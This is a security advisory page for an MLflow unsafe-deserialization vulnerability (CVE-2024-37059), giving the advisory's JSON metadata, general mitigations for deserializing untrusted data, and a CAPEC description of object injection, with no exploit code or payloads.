    "github_reviewed_at": "2024-06-05T13:21:55Z",
    "nvd_published_at": "2024-06-04T12:15:12Z",
    "severity": "HIGH"
  },
  "details": "Deserialization of untrusted data can occur in versions of the MLflow platform running version 0.5.0 or newer, enabling a maliciously uploaded PyTorch model to run arbitrary code on an end user\u2019s system when interacted with.",
  "id": "GHSA-wf7f-8fxf-xfxc",
  "modified": "2025-09-29T19:36:21Z",
  "published": "2024-06-04T12:31:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-37059"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mlflow/mlflow"
    },
    {
      "type": "WEB",
      "url": "https://hiddenlayer.com/sai-security-advisory/mlflow-june2024"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "MLFlow unsafe deserialization"
}

Mitigation
Architecture and Design Implementation

If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.

Mitigation
Implementation

When deserializing data, populate a new object rather than just deserializing. The result is that the data flows through safe input validation and that the functions are safe.

Mitigation
Implementation

Explicitly define a final object() to prevent deserialization.

Mitigation
Architecture and Design Implementation
  • Make fields transient to protect them from deserialization.
  • An attempt to serialize and then deserialize a class containing transient fields will result in NULLs where the transient data should be. This is an excellent way to prevent time, environment-based, or sensitive variables from being carried over and used improperly.
Mitigation
Implementation

Avoid having unnecessary types or gadgets (a sequence of instances and method invocations that can self-execute during the deserialization process, often found in libraries) available that can be leveraged for malicious ends. This limits the potential for unintended or unauthorized types and gadgets to be leveraged by the attacker. Add only acceptable classes to an allowlist. Note: new gadgets are constantly being discovered, so this alone is not a sufficient mitigation.

Mitigation
Architecture and Design Implementation

Employ cryptography of the data or code for protection. However, it's important to note that it would still be client-side security. This is risky because if the client is compromised then the security implemented on the client (the cryptography) can be bypassed.

Mitigation MIT-29
Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].

CAPEC-586: Object Injection

An adversary attempts to exploit an application by injecting additional, malicious content during its processing of serialized objects. Developers leverage serialization in order to convert data or state into a static, binary format for saving to disk or transferring over a network. These objects are then deserialized when needed to recover the data/state. By injecting a malformed object into a vulnerable application, an adversary can potentially compromise the application by manipulating the deserialization process. This can result in a number of unwanted outcomes, including remote code execution.